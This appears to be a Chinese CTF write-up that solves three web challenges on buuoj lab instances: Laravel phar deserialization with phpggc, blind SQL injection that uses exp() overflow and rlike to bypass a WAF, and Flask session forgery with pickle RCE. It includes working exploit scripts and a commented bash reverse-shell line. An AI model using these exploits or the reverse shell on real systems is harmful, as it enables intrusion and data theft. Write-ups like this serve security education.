我坐着什么都没做,因为我有太多事情要做.......😭 (bushi)
(1) tinypng(Laravel rce+ phar反序列化)
是一个laravel框架项目 看一下路由
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
use App\Http\Controllers\IndexController;
use App\Http\Controllers\ImageController;
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
/ 和 /image分别指向 IndexController
和 ImageController
GET / 访问到一个上传文件的界面
看一下 控制器函数IndexController.fileUpload()
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
对post上传的文件进行处理,限制了 后缀和内容,文件必须是png,内容不得有 <? 、php、HALT_COMPILER 过滤了一个 phar文件里的文件头,那这道题可能考的就是phar反序列化
需要注意的一点是:这里的uploads目录在 ../storage/app/uploads
我们上传的文件保存路径实际上为../storage/app/uploads/xxx.png 访问的时候不能直接 uploads/xxx.png
再访问一下/image
可以输入一个png文件路径,看一下控制器函数 ImageController.handle()函数
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
可以输入一个 image参数,它回检测image参数是否以 .png结尾,然后 调用 imgcompress()
跟进去看一下 imgcompress类 的 compressImg()函数
public function compressImg($saveName)
{
$this->_openImage();
$this->_saveImage($saveName);
}
它会调用自己的 openImage() 再跟进看一下 openImage()函数
它会调用getimagesize() 而参数 $this0>src 就是 我们传参image赋给的 $source ,因此这里存在phar反序列化触发点。
那么解决这道题思路就有了:
- 根据
Laravel
框架对应版本的POC链,生成一个phar文件 - 将phar文件 tar或gz压缩 绕过文件内容过滤,修改后缀为.png上传 绕过文件后缀限制
- /image路由的input函数触发
这里直接使用 phpggc去生成链子 phar文件
./phpggc Laravel/RCE7 "system" "cat /flag" --phar phar > exp.phar
gzip exp.phar
mv exp.phar.gz exp.png
# 可以cat exp.phar 看看是否出错,出错的话 exp.phar文件内容为错误信息
注意 /image只接受get请求 不可在输入框输入访问
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
/image?image=phar://../storage/app/uploads/96f882fef7d2760e2ba97ecf386852ea.png
(2) hatenum(exp()溢出盲注)
进入题目 看见一个登录框和注册点
下载源码分析:
index.php
home.php 这里得知 需要admin用户 得到flag
if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');
}
看一下具体登录和注册的实现代码
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
- 注册功能:会先通过 $User->find()检查 用户是否存在,不存在的话,调用 $User->register() 去注册
insert into users (username,password,code) values ('$username','$password','$code')
- 登录功能:通过$User->login() 执行
select * from users where username='$username' and password='$password' 查询用户账号和密码,比对成功的话,再 $content['code']===$_POST['code'] 判断用户的二级验证码与输入的code是否一致
waf过滤了很多,' " 被过滤了
'union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'
那我们怎么逃逸出来执行命令?
我们可以通过\
转义单引号结合 #
注释掉最后一个单引号 让一部分语句逃逸出来
比如:
执行登录执行语句: select * from users where username='username' and password='password'
我们post传入:username=\ password=||if(sql语句)#
此时的语句为 select * from users where username='\' and password=' ||if(....)#';
\' and password= 是一个整体
此时语句为 select * from users where username='xxx' ||()&&()&&() #';
如下图 我们可以利用 mysql中 exp表达式 来盲注
我们可以通过 exp(710-表达式) 来判断表达式的真假,真 则 exp(709) 返回fail 假 则 exp(710) 会报错 返回 error 根据回显 逐个字符爆破出code的值
过滤了select,不能另外执行查询语句了 过滤了sleep|benchmark
无法使用时间盲注
过滤了substr|right|left|mid
不能获取单个字符 过滤了,
不能执行多参数的函数
过滤了空格 这个我们可以用chr(0x0b)或chr(0x0c) 绕过
这里我们 可以使用正则匹配比较字符串获取code, 虽然环境过滤了regexp
但是我们可以使用like
和rlike
正则匹配
因为同时过滤了单双引号,所以我们要匹配的字符串可以用AsciiHex的形式代替(admin为0x61646d696e)
import requests as r
url = "http://8e86243e-e80b-495b-b68e-4101c8cbf511.node4.buuoj.cn:81/"
data = {
"username":"\\",
"password":"||1&&exp(710)#",
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
print(req.text)
#error
#exp(709) login fail
poc如下:
import requests as r
import string
def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2, '0')
return ret
url = "http://1ce80654-530b-4dff-9863-04cd840267f1.node4.buuoj.cn:81"
dic = string.ascii_letters + string.digits + "$"
#pre=''
#tmp='^' #匹配前面部分
end=''
tmp = '$'
for i in range(24):
for ch in dic:
#pre_payload = f"||1&& username rlike 0x61646d69 && exp(710-(code rlike {str2hex(tmp+ch)}))#"
end_payload = f"||1&& username rlike 0x61646d69 && exp(710-(code rlike {str2hex(ch+tmp)}))#"
payload = end_payload.replace(" ",chr(0x0b))
data = {
"username":"\\",
"password":payload,
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
if "fail" in req.text:
#pre += ch
#print(tmp+ch,pre)
end = ch + end
print(ch+tmp,end)
if len(tmp)==3:
#tmp = tmp[1:] + ch
tmp = ch + tmp[:-1]
else:
tmp = ch + tmp
break
从头开始匹配的话 只能匹配到这一部分 erghruigh2uygh 后面就开始一直重复uygh2
^e e
^er er
^erg erg
ergh ergh
rghr erghr
ghru erghru
hrui erghrui
ruig erghruig
uigh erghruigh
igh2 erghruigh2
gh2u erghruigh2u
h2uy erghruigh2uy
2uyg erghruigh2uyg
uygh erghruigh2uygh
ygh2 erghruigh2uygh2
gh2u erghruigh2uygh2u
h2uy erghruigh2uygh2uy
2uyg erghruigh2uygh2uyg
uygh erghruigh2uygh2uygh
ygh2 erghruigh2uygh2uygh2
需要我们再执行依次从尾到头匹配, 使用$从尾开始匹配确实可以得到后半部分的code
g$ g
ig$ ig
2ig$ 2ig
32ig 32ig
u32i u32ig
Iu32 Iu32ig
uIu3 uIu32ig
3uIu 3uIu32ig
23uI 23uIu32ig
h23u h23uIu32ig
gh23 gh23uIu32ig
igh2 igh23uIu32ig
uigh uigh23uIu32ig
ruig ruigh23uIu32ig
hrui hruigh23uIu32ig
ghru ghruigh23uIu32ig
Rghr Rghruigh23uIu32ig
eRgh eRghruigh23uIu32ig
题目中又对hex长度进行了限制,所以每三位推一位,最开始三位通过 ^
和 $
的方式来匹配
正着倒着结合一下就能拿到23位的code erghruigh2uygh23uiu32ig
再次发包 传入正确的code 得到 flag
import requests as r
url = "http://1ce80654-530b-4dff-9863-04cd840267f1.node4.buuoj.cn:81"
data = {
"username":"admin\\",
"password":"||1#",
"code":"erghruigh2uygh23uiu32ig"
}
res = r.post(url=url+"/login.php",data=data)
print(res.text)
(3) easyflask(flask-session伪造&pickle反序列化)
/file?file= 存在任意文件泄露
访问 /file?file=/app/source 得到源码:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
典型的 flask session伪造,以及这道题可以利用session 进行pickle反序列化
看一下我们普通的session格式
代码里 /file路由 限制了 读取文件不能是目录 不能有 .py .sh .. 和flag
没有过滤 /proc/self/environ
访问 /file?file=/proc/self/environ 得到SECRET_KEY:secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
利用 SECRET_KEY 进行 session伪造,构造 session的键u 以及 键u里的键b 为恶意的序列化数据
修改User类 里面加上 __redece__函数 内容为命令执行代码
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))
#'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})
u = pickle.dumps(User())
print(base64.b64encode(u))
得到gASVLQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjBVjYXQgL2ZsYWcgPiAvdG1wL2ZsYWeUhZRSlC4=
但是发现打不通 页面响应一直是 uuh?构造传入的session在执行后面代码时抛异常了
看其他师傅博客得知:原因是windows和linux使用pickie.loads()反序列化的内部过程不太一样, 所以也就导致了在windows下可以通过loads()执行的内容放到linux下使用loads()加载就会失败, 所以我们需要把代码放到 linux环境里跑 得到一个base64
然后我们 通过 github上的 flask session-manager脚本 生成session
root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# vi 1.py
root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# python 1.py
b'gASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJjYXQgL2ZsYWcgPiAvdG1wL2GUhZRSlC4='
root@VM-8-16-ubuntu:~/CTF/python/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh" -t "{'u':{'b':'gASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJjYXQgL2ZsYWcgPiAvdG1wL2GUhZRSlC4='}}"
eyJ1Ijp7ImIiOiJnQVNWTFFBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJKallYUWdMMlpzWVdjZ1BpQXZkRzF3TDJHVWhaUlNsQzQ9In19.ZJwy2Q.LDtMnGgpQ28wGdtV6j3NkFKgaBs
然后访问 /file?file=/tmp/a 去读取a文件内容即可
import requests as r
url = "http://300984b7-0182-4a2b-a10a-2b9cc797824a.node4.buuoj.cn:81"
cookie = "eyJ1Ijp7ImIiOiJnQVNWTFFBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJKallYUWdMMlpzWVdjZ1BpQXZkRzF3TDJHVWhaUlNsQzQ9In19.ZJwy2Q.LDtMnGgpQ28wGdtV6j3NkFKgaBs"
headers={
"Cookie":"session={0}".format(cookie)
}
res = r.get(url=url+"/admin",headers=headers)
res = r.get(url=url+"/file?file=/tmp/a")
print(res.text)
也可以 利用flask的代码在本地帮我们自动生成cookie 可以参考eki师傅写的脚本
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests
url = "http://300984b7-0182-4a2b-a10a-2b9cc797824a.node4.buuoj.cn:81"
#url = "http://127.0.0.1:80"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
#print(r.text)
key = re.findall('key=(.*?).OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/b"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
#print(req.text)
req = requests.get(url+"/file?file=/tmp/b",headers=headers)
print(req.text)
注:这个代码也得在linux下才可以,在windows下不知道为什么会disallow